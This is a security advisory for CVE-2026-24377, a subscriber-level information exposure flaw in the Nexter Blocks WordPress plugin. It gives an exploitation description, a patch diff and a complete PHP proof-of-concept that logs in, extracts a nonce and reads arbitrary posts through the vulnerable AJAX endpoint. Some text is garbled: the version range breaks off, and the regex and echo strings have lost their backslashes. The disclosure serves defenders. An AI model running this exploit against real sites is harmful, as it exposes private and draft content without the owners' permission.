Atomic Edge analysis of CVE-2026-24377:
This vulnerability is an authenticated information exposure flaw in the Nexter Blocks WordPress plugin (versions post_content`.
Exploitation:
An attacker with a valid WordPress subscriber session would send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `tpgb_get_template_content`. The request must include a valid `tpgb_nonce` (obtainable by a subscriber) and a `postid` parameter set to the numeric ID of any post, page, or custom post type. The AJAX handler would then return the raw content of that post, potentially exposing draft, private, or pending review content not intended for public or low-privilege users.
Patch Analysis:
The patch in version 4.6.4 modifies the `tpgb_get_template_content()` function. It replaces the manual nonce check with `check_ajax_referer()`. Crucially, it adds an authorization check: after retrieving the post object via `get_post()`, the code now verifies that `$content_post->post_type` equals `’wp_block’`. If the post type is not a reusable block (Pattern), the function returns a JSON error message and terminates execution. This restricts the function’s functionality to its intended purpose of loading reusable block patterns only, preventing the retrieval of other post types.
Impact:
Successful exploitation allows authenticated attackers with minimal privileges (Subscriber) to read the raw content of any post, page, or custom post type stored in the WordPress database. This can lead to exposure of sensitive information, including unpublished content, private configuration details stored in posts, or draft materials. The vulnerability does not permit modification or deletion of data.
--- a/the-plus-addons-for-block-editor/classes/tp-block-helper.php
+++ b/the-plus-addons-for-block-editor/classes/tp-block-helper.php
@@ -1674,18 +1674,24 @@
}
}
- public function tpgb_get_template_content(){
- $nonce = isset($_POST['tpgb_nonce']) ? sanitize_text_field(wp_unslash($_POST['tpgb_nonce'])) : '';
-
- if ( !isset($_POST["tpgb_nonce"]) || !wp_verify_nonce( $nonce, 'tpgb-addons' ) ){
- die ( 'Security checked!');
- }
+ public function tpgb_get_template_content(){
+
+ check_ajax_referer('tpgb-addons', 'tpgb_nonce');
+
if ( isset( $_POST['postid'] ) && !empty( $_POST['postid'] ) ) {
$post_id = intval($_POST['postid']);
if( isset($post_id) && !empty($post_id) ) {
$content_post = get_post($post_id);
$content = '';
+
if(is_object($content_post)){
+
+ if($content_post->post_type != 'wp_block'){
+ $content = 'Please use this feature only for reusable blocks ( Pattern )';
+ wp_send_json_error($content);
+ return;
+ }
+
$content = $content_post->post_content;
$content = apply_filters('the_content', $content);
$content = str_replace('strokewidth', 'stroke-width', $content);
--- a/the-plus-addons-for-block-editor/the-plus-addons-for-block-editor.php
+++ b/the-plus-addons-for-block-editor/the-plus-addons-for-block-editor.php
@@ -3,7 +3,7 @@
* Plugin Name: Nexter Blocks
* Plugin URI: https://nexterwp.com/nexter-blocks/
* Description: Highly custozizable WordPress Gutenberg blocks to build professional websites with top-notch performance and sleek design. Includes 40+ FREE WordPress Blocks.
-* Version: 4.6.3
+* Version: 4.6.4
* Author: POSIMYTH
* Author URI: https://posimyth.com
* Tested up to: 6.9
@@ -17,7 +17,7 @@
exit;
}
-defined( 'TPGB_VERSION' ) or define( 'TPGB_VERSION', '4.6.3' );
+defined( 'TPGB_VERSION' ) or define( 'TPGB_VERSION', '4.6.4' );
define( 'TPGB_FILE__', __FILE__ );
define( 'TPGB_PATH', plugin_dir_path( __FILE__ ) );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24377 - Nexter Blocks <= 4.6.3 - Authenticated (Subscriber+) Information Exposure
<?php
$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$target_post_id = 1; // ID of a post to attempt to read
// Step 1: Authenticate to WordPress and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Step 2: Visit a page containing the Nexter Blocks interface to load the nonce
// The nonce 'tpgb_nonce' is typically enqueued in admin or frontend scripts.
// For this PoC, we assume the attacker can load a page that generates the nonce.
$load_nonce_url = $target_url . '/wp-admin/admin.php?page=tpgb-options';
curl_setopt($ch, CURLOPT_URL, $load_nonce_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$page_content = curl_exec($ch);
// Extract the nonce from the page (simplified pattern - actual extraction may vary)
preg_match('/"tpgb_nonce"s*:s*"([a-f0-9]+)"/', $page_content, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
die("Failed to extract nonce. The user may lack required capabilities to load the nonce script.");
}
// Step 3: Exploit the vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'tpgb_get_template_content',
'tpgb_nonce' => $nonce,
'postid' => $target_post_id
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);
curl_close($ch);
// Output the response, which should contain the post content if vulnerable
echo "Target Post ID: " . $target_post_id . "n";
echo "Response:n";
echo $ajax_response . "n";
?>
